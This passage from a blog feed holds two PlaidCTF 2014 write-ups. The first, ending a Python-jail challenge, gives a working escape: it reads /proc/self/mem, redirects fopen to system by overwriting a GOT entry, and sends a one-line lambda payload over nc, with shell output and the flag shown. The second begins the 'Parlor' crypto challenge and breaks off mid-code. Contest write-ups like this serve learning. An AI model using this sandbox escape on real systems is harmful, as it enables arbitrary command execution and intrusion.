&lt;p&gt;We can read &lt;code&gt;/proc/self/maps&lt;/code&gt; a few times to see that
heap, libraries and stack are randomized, but the python binary location
itself is fixed - this makes our job easier. If everything was random,
we could still first read the maps first to compute the correct address of
whatever we want to access, but it's simpler without.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;% &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;stdout.__class__(&amp;#39;/proc/self/maps&amp;#39;).read()&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;  nc &lt;span class="m"&gt;54&lt;/span&gt;.196.37.47 &lt;span class="m"&gt;9990&lt;/span&gt;
Get a shell. The flag is NOT in ./key, ./flag, etc.
&lt;span class="m"&gt;00400000&lt;/span&gt;-00658000 r-xp &lt;span class="m"&gt;00000000&lt;/span&gt; ca:00 &lt;span class="m"&gt;9191&lt;/span&gt;                               /usr/bin/python2.7
&lt;span class="m"&gt;00857000&lt;/span&gt;-00858000 r--p &lt;span class="m"&gt;00257000&lt;/span&gt; ca:00 &lt;span class="m"&gt;9191&lt;/span&gt;                               /usr/bin/python2.7
&lt;span class="m"&gt;00858000&lt;/span&gt;-008c1000 rw-p &lt;span class="m"&gt;00258000&lt;/span&gt; ca:00 &lt;span class="m"&gt;9191&lt;/span&gt;                               /usr/bin/python2.7
&lt;span class="o"&gt;[&lt;/span&gt;...&lt;span class="o"&gt;]&lt;/span&gt;
^C
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;To find anything useful to overwrite, let's first download the python binary:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;% &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;stdout.__class__(&amp;#39;/usr/bin/python2&amp;#39;).read()&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; nc &lt;span class="m"&gt;54&lt;/span&gt;.196.37.47 &lt;span class="m"&gt;9990&lt;/span&gt; &amp;gt; python2.out
^C
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;The 'get a flag' message is at the beginning of the binary file, so we need
to strip it first:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;% tail -n+1 python2.out &amp;gt; python
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;I figured the simplest way to gain a shell would be to redirect fopen() calls
to system(), so the next fopen call we issue (like before) should actually
execute the given filename as shell command.&lt;/p&gt;
&lt;p&gt;I decided to overwrite their PLT entries to accomplish this. First we need
to look up the addresses:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c"&gt;% objdump -R python2 | grep -E &amp;#39;fopen|system&amp;#39;&lt;/span&gt;
&lt;span class="mi"&gt;00000000008582&lt;/span&gt;&lt;span class="n"&gt;a0&lt;/span&gt; &lt;span class="n"&gt;R_X86_64_JUMP_SLOT&lt;/span&gt;  &lt;span class="n"&gt;system&lt;/span&gt;
&lt;span class="mi"&gt;00000000008588&lt;/span&gt;&lt;span class="n"&gt;c0&lt;/span&gt; &lt;span class="n"&gt;R_X86_64_JUMP_SLOT&lt;/span&gt;  &lt;span class="n"&gt;fopen64&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;So if we copy 8 bytes from the &lt;code&gt;system&lt;/code&gt; address to the &lt;code&gt;fopen64&lt;/code&gt; address,
everything should be fine. This is what we'd like to do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/proc/self/mem&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/proc/self/mem&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 0-&amp;gt; unbuffered&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seek&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x8582a0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seek&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x8588c0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Try this at home (with offsets changed to match your local python)! It
should execute 'id' for you.&lt;/p&gt;
&lt;p&gt;Okay, now we need to put this into a single python expression (no assignments!)
we can send to the server. By using a &lt;code&gt;lambda&lt;/code&gt; expression and calling it with
some values, we can assign these values to parameters, similar to using
variables.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seek&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x8582a0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seek&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x8588c0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id, ls /home/nightmares_owner&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/proc/self/mem&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
     &lt;span class="n"&gt;stdout&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/proc/self/mem&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;w&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;There is another small trick at work here: Using shortcut evaluation of
the &lt;em&gt;or&lt;/em&gt; operator we gain sequential execution - as long as all calls return
something False-y (no problem here).&lt;/p&gt;
&lt;p&gt;Time to try it in reality!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;% &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;(lambda r,w:r.seek(0x8582a0) or w.seek(0x8588c0) or w.write(r.read(8)) or stdout.__class__(&amp;#39;id; ls /home/nightmares_owner&amp;#39;))(stdout.__class__(&amp;#39;/proc/self/mem&amp;#39;,&amp;#39;r&amp;#39;), stdout.__class__(&amp;#39;/proc/self/mem&amp;#39;,&amp;#39;w&amp;#39;,0))&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;  nc &lt;span class="m"&gt;54&lt;/span&gt;.196.37.47 &lt;span class="m"&gt;9990&lt;/span&gt;
Get a shell. The flag is NOT in ./key, ./flag, etc.
None
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1002&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;nightmares_user&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1002&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;nightmares_user&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1002&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;nightmares_user&lt;span class="o"&gt;)&lt;/span&gt;
total &lt;span class="m"&gt;36&lt;/span&gt;
drwxr-xr-x &lt;span class="m"&gt;2&lt;/span&gt; nightmares_owner nightmares_owner &lt;span class="m"&gt;4096&lt;/span&gt; Apr &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="m"&gt;14&lt;/span&gt;:16 .
drwxr-xr-x &lt;span class="m"&gt;4&lt;/span&gt; root             root             &lt;span class="m"&gt;4096&lt;/span&gt; Apr &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="m"&gt;16&lt;/span&gt;:49 ..
-rw------- &lt;span class="m"&gt;1&lt;/span&gt; nightmares_owner nightmares_owner  &lt;span class="m"&gt;587&lt;/span&gt; Apr &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="m"&gt;14&lt;/span&gt;:16 .bash_history
-rwsr-xr-x &lt;span class="m"&gt;1&lt;/span&gt; nightmares_owner nightmares_owner &lt;span class="m"&gt;4236&lt;/span&gt; Apr &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="m"&gt;14&lt;/span&gt;:12 give_me_the_flag.exe
-rw-r--r-- &lt;span class="m"&gt;1&lt;/span&gt; nightmares_owner nightmares_owner  &lt;span class="m"&gt;470&lt;/span&gt; Apr &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="m"&gt;14&lt;/span&gt;:12 give_me_the_flag.exe.c
-rwxr-xr-x &lt;span class="m"&gt;1&lt;/span&gt; nightmares_owner nightmares_owner  &lt;span class="m"&gt;805&lt;/span&gt; Apr &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="m"&gt;14&lt;/span&gt;:16 nightmares.py
-rwxr-xr-x &lt;span class="m"&gt;1&lt;/span&gt; nightmares_owner nightmares_owner  &lt;span class="m"&gt;122&lt;/span&gt; Apr &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="m"&gt;15&lt;/span&gt;:00 problem_wrapper.sh
-r-------- &lt;span class="m"&gt;1&lt;/span&gt; nightmares_owner nightmares_owner   &lt;span class="m"&gt;33&lt;/span&gt; Apr &lt;span class="m"&gt;10&lt;/span&gt; &lt;span class="m"&gt;14&lt;/span&gt;:07 use_exe_to_read_me.txt
sys.excepthook is missing
lost sys.stderr

% &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;(lambda r,w:r.seek(0x8582a0) or w.seek(0x8588c0) or w.write(r.read(8)) or stdout.__class__(&amp;#39;cd /home/nightmares_owner/; ./give_me_the_flag.exe&amp;#39;))(stdout.__class__(&amp;#39;/proc/self/mem&amp;#39;,&amp;#39;r&amp;#39;), stdout.__class__(&amp;#39;/proc/self/mem&amp;#39;,&amp;#39;w&amp;#39;,0))&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;  nc &lt;span class="m"&gt;54&lt;/span&gt;.196.37.47 &lt;span class="m"&gt;9990&lt;/span&gt;         
Get a shell. The flag is NOT in ./key, ./flag, etc.
None
i_like_python_i_like_python_yolo
sys.excepthook is missing
lost sys.stderr
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Flag recovered!&lt;/p&gt;
&lt;p&gt;I'm curious if there is a pure-Python way to solve this -- if you know one,
please let me know!&lt;/p&gt;</content><category term="Python"></category></entry><entry><title>"PlaidCTF 2014 'Parlor' (crypto 250) writeup"</title><link href="https://blog.mheistermann.de/2014/04/14/plaidctf-2014-parlor-crypto-250-writeup/" rel="alternate"></link><published>2014-04-14T17:02:05+09:00</published><updated>2014-04-14T17:02:05+09:00</updated><author><name>Martin Heistermann</name></author><id>tag:blog.mheistermann.de,2014-04-14:/2014/04/14/plaidctf-2014-parlor-crypto-250-writeup/</id><summary type="html">&lt;p&gt;&lt;em&gt;Parlor&lt;/em&gt; was a interesting and fun challenge for me at this year's pCTF.  Here's my writeup, I hope you'll find it interesting.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Parlor&lt;/em&gt; was a interesting and fun challenge for me at this year's pCTF.
Here's my writeup, I hope you'll find it interesting.&lt;/p&gt;
&lt;h3&gt;Challenge setup&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The Plague is running a betting service to build up funds for his massive empire. Can you figure out a way to beat the house? The service is running at 54.197.195.247:4321.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;At the time of writing, the server is still online, so if you're lucky,
you can still play (before or instead of reading this writeup).&lt;/p&gt;
&lt;p&gt;The gambling game offered by the server seem quite similar to &lt;a href="https://en.bitcoin.it/wiki/SatoshiDice"&gt;SatoshiDice&lt;/a&gt;:
&lt;!-- more --&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c"&gt;% nc 54.197.195.247 4321&lt;/span&gt;
&lt;span class="o"&gt;/------------------------------------------------------------------------------\&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Welcome&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;betting&lt;/span&gt; &lt;span class="n"&gt;parlor&lt;/span&gt;!                                               &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;                                                                              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;We&lt;/span&gt; &lt;span class="n"&gt;implement&lt;/span&gt; &lt;span class="n"&gt;State&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;Art&lt;/span&gt; &lt;span class="n"&gt;cryptography&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;give&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;fairest&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;most&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;exciting&lt;/span&gt; &lt;span class="n"&gt;betting&lt;/span&gt; &lt;span class="n"&gt;experience&lt;/span&gt;!                                                 &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;                                                                              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Here&lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="n"&gt;how&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="n"&gt;works&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;both&lt;/span&gt; &lt;span class="n"&gt;pick&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;tell&lt;/span&gt; &lt;span class="n"&gt;us&lt;/span&gt; &lt;span class="n"&gt;odds&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;give&lt;/span&gt; &lt;span class="n"&gt;us&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;some&lt;/span&gt; &lt;span class="n"&gt;money&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;                                                                  &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;our&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;number&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c"&gt;% odds == 0, you win bet amount*odds.       |&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;UPDATE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="n"&gt;YOU&lt;/span&gt; &lt;span class="n"&gt;DIDN&lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;T&lt;/span&gt; &lt;span class="n"&gt;REALIZE&lt;/span&gt; &lt;span class="n"&gt;IT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WE&lt;/span&gt; &lt;span class="n"&gt;DO&lt;/span&gt; &lt;span class="n"&gt;INCLUDE&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="n"&gt;NEWLINE&lt;/span&gt; &lt;span class="n"&gt;AT&lt;/span&gt; &lt;span class="n"&gt;THE&lt;/span&gt; &lt;span class="n"&gt;END&lt;/span&gt; &lt;span class="n"&gt;OF&lt;/span&gt; &lt;span class="n"&gt;YOUR&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;NUMBER&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="n"&gt;SORRY&lt;/span&gt; &lt;span class="n"&gt;FOR&lt;/span&gt; &lt;span class="n"&gt;THE&lt;/span&gt; &lt;span class="n"&gt;INCONVENIENCE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt; &lt;span class="n"&gt;THANK&lt;/span&gt; &lt;span class="n"&gt;YOU&lt;/span&gt; &lt;span class="n"&gt;FOR&lt;/span&gt; &lt;span class="n"&gt;USING&lt;/span&gt; &lt;span class="n"&gt;PARLOR&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;Otherwise&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;money&lt;/span&gt;! &lt;span class="n"&gt;We&lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt; &lt;span class="n"&gt;even&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;nice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;gave&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; $&lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;                                                                              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;don&lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="n"&gt;trust&lt;/span&gt; &lt;span class="n"&gt;us&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;generate&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;new&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;reveal&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;old&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;so&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt; &lt;span class="n"&gt;all&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;our&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;!                                &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;                                                                              &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Oh&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;win&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;billion&lt;/span&gt; &lt;span class="n"&gt;dollars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;ll&lt;/span&gt; &lt;span class="n"&gt;give&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;.)&lt;/span&gt;               &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;\&lt;/span&gt;&lt;span class="n"&gt;______________________________________________________________________________&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;

&lt;span class="o"&gt;====================&lt;/span&gt;
  &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;odds&lt;/span&gt;
  &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;bet&lt;/span&gt;
  &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;play&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="nb"&gt;round&lt;/span&gt;
  &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;balance&lt;/span&gt;
  &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;reveal&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;
  &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;quit&lt;/span&gt;
&lt;span class="o"&gt;====================&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Let's have a look at an example session:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;1
Please pick odds (as a power of 2 between 1 and 100): 8
Odds set to 2^8, good luck!
[...]
3
Okay, send us a nonce for this round!
abc123
Betting $1 at odds of 2^8
Too bad, we generated 78, not 0... better luck next time!
[...]
5
What? You think we&amp;#39;re cheaters? Fine, the nonce has been dbe20351bfd26f40105a6a5aca4e1eb4
Who is the cheater now, huh?
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Let's see if everything checks out and the server really doesn't cheat:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;hashlib&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;secret&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;dbe20351bfd26f40105a6a5aca4e1eb4&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;input&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;abc123&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
